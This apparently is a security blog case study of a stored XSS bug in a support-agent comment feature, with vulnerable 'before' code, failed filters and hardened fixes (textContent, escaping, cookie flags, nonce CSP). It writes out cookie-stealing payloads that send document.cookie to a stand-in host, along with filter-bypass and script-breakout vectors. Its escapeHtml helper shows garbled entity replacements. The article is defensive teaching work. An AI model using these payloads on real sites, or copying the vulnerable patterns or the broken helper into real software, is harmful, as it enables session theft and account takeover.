A few years ago, I helped clean up a customer support dashboard that had a “small” XSS bug nobody took seriously.
The team’s first reaction was predictable: “So what? Our session cookie is SameSite=Lax. We’re fine.”
They weren’t fine.
The attacker didn’t need anything fancy. They found a stored XSS bug in an internal comments feature, dropped in a payload, and every support agent who viewed that ticket executed attacker-controlled JavaScript in their browser. The original fear was cookie theft, but the real damage was bigger: account actions, data extraction, and session abuse. Cookie theft was just the easiest thing to explain to the team.
Here’s the case study, with the ugly “before” and the hardened “after”.
The setup
The app was a standard server-rendered admin panel with some client-side JavaScript sprinkled in.
Agents could leave comments on customer tickets. Those comments were later rendered into the ticket page for other agents.
The dangerous assumption was this:
- comments were “internal only”
- support agents were trusted
- if someone did manage XSS, the impact would be limited
That combination gets teams in trouble all the time.
Before: stored XSS in a comment field
The backend stored comment text as-is. The frontend rendered it with innerHTML.
<div id="comments"></div>
<script>
const comments = [
{ author: "Sam", body: "Customer says billing is broken." },
{ author: "Alex", body: "<img src=x onerror='fetch(`https://evil.example/steal?c=${encodeURIComponent(document.cookie)}`)'>" }
];
const container = document.getElementById("comments");
comments.forEach(comment => {
container.innerHTML += `
<div class="comment">
<strong>${comment.author}</strong>
<p>${comment.body}</p>
</div>
`;
});
</script>
That’s game over.
The attacker submits a comment containing an event handler payload. When an agent loads the page, the browser parses the HTML, triggers onerror, and sends the cookie off-site.
If your cookie is readable from JavaScript, document.cookie is enough.
What the attack looked like
A real attacker payload is usually short and boring. That’s one reason these bugs survive code review.
<img src=x onerror="new Image().src='https://evil.example/log?c='+encodeURIComponent(document.cookie)">
If the app uses a session cookie like this:
Set-Cookie: session=abc123; Path=/; Secure; SameSite=Lax
then the attacker gets session=abc123.
They can often replay that cookie and impersonate the victim, depending on how session binding is implemented.
The first bad fix: “filter out <script>”
The team’s first patch was exactly what I expected:
function sanitizeComment(input) {
return input.replace(/<script.*?>.*?<\/script>/gi, "");
}
This does almost nothing useful.
XSS is not just <script> tags.
These all work in different contexts:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">click</a>
<div onclick="alert(1)">test</div>
And once developers start building regex-based HTML sanitizers, they usually lose.
Why cookie theft is only half the story
Even if you block direct cookie reads with HttpOnly, XSS still hurts badly.
An attacker script running in your origin can:
- send authenticated requests as the victim
- read sensitive page content
- scrape CSRF tokens from the DOM
- trigger password reset flows
- create admin users if the victim has access
- exfiltrate API responses if they’re exposed to JavaScript
So yes, protecting cookies matters. But treating HttpOnly as an XSS fix is how incidents become breaches.
After: fix the rendering path first
The real fix started with one rule:
Untrusted data must be rendered as text, not HTML.
Here’s the corrected version:
<div id="comments"></div>
<script>
const comments = [
{ author: "Sam", body: "Customer says billing is broken." },
{ author: "Alex", body: "<img src=x onerror='alert(1)'>" }
];
const container = document.getElementById("comments");
comments.forEach(comment => {
const wrapper = document.createElement("div");
wrapper.className = "comment";
const strong = document.createElement("strong");
strong.textContent = comment.author;
const p = document.createElement("p");
p.textContent = comment.body;
wrapper.appendChild(strong);
wrapper.appendChild(p);
container.appendChild(wrapper);
});
</script>
Now the payload is displayed literally. No parsing. No execution.
If you remember one thing, make it this:
innerHTMLparses markuptextContentrenders text
That single distinction prevents a shocking number of XSS bugs.
Server-side before and after
The backend had the same problem in a server-rendered template.
Before
app.get("/ticket/:id", async (req, res) => {
const ticket = await db.getTicket(req.params.id);
res.send(`
<h1>${ticket.subject}</h1>
<div class="comments">
${ticket.comments.map(c => `<p>${c.body}</p>`).join("")}
</div>
`);
});
If c.body contains HTML, it gets injected straight into the page.
After
Use templating with auto-escaping, or escape output yourself if you absolutely must build strings.
function escapeHtml(str) {
return str
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
}
app.get("/ticket/:id", async (req, res) => {
const ticket = await db.getTicket(req.params.id);
res.send(`
<h1>${escapeHtml(ticket.subject)}</h1>
<div class="comments">
${ticket.comments.map(c => `<p>${escapeHtml(c.body)}</p>`).join("")}
</div>
`);
});
My strong opinion: don’t hand-roll HTML output if your framework already gives you contextual escaping. Use the framework correctly. The official docs for your template engine are usually better than any custom helper you’ll write under deadline pressure.
Lock down the session cookie
The app originally set cookies like this:
Set-Cookie: session=abc123; Path=/
That’s weak.
The hardened version looked like this:
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
And for highly sensitive apps, sometimes:
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
What each flag does:
HttpOnly: JavaScript can’t read the cookie viadocument.cookieSecure: cookie only goes over HTTPSSameSite: reduces cross-site request abuse
The official reference is the MDN cookie documentation and browser cookie specs, but the practical takeaway is simple: if it’s a session cookie, it should almost always be HttpOnly; Secure at minimum.
Add CSP so one mistake is less catastrophic
Once the rendering bug was fixed, we added a Content Security Policy. Not because CSP replaces output encoding. It doesn’t. But it gives you another layer when someone eventually makes a mistake again.
A decent starting point:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
With a nonce-based setup, inline scripts without the correct nonce won’t run. That blocks a lot of classic injected payloads.
Example:
<script nonce="r4nd0m123">
window.APP_CONFIG = { userId: 42 };
</script>
A CSP like this would have made the original onerror payload much harder to execute, depending on the rest of the page and policy quality.
For implementation details, the one non-official resource I actually recommend here is https://csp-guide.com. For standards and browser behavior, stick to official browser documentation.
One more bug they almost missed: unsafe JSON in a script block
After the first round of fixes, there was still a hidden XSS sink.
Before
<script>
window.bootstrap = {
commentBody: "{{commentBody}}"
};
</script>
If commentBody contains "</script><img src=x onerror=alert(1)>, the script block can break and the payload executes.
After
Serialize safely for JavaScript context, not HTML context.
const bootstrap = JSON.stringify({
commentBody: userComment
});
<script nonce="r4nd0m123">
window.bootstrap = JSON.parse(document.getElementById("bootstrap-data").textContent);
</script>
<script id="bootstrap-data" type="application/json">
{"commentBody":"Customer said \"refund me\""}
</script>
This pattern is much safer because the data is kept as data, not executable code.
The end result
After the fixes, the app changed in four meaningful ways:
- user content was rendered with escaping or
textContent - session cookies were
HttpOnly; Secure; SameSite - CSP was deployed with nonce-based scripts
- inline data bootstrapping was moved to safe JSON patterns
That killed the original cookie theft path and dramatically reduced the blast radius of future XSS bugs.
What I tell teams now
If your XSS prevention strategy is “we trust our users” or “we strip <script> tags,” you don’t have a strategy.
The practical checklist I use looks like this:
- escape untrusted output by context
- prefer safe DOM APIs over
innerHTML - avoid inline event handlers
- set session cookies with
HttpOnly; Secure; SameSite - deploy a real CSP, ideally nonce-based
- treat any XSS as account compromise, not just a popup
Cookie theft is the demo everyone understands. The actual risk is broader and usually worse.
That support dashboard incident started as “just a comment field bug.” It ended with a full review of every rendering path in the app. Honestly, that was the right response. Once attackers can run JavaScript in your origin, they stop playing by your assumptions.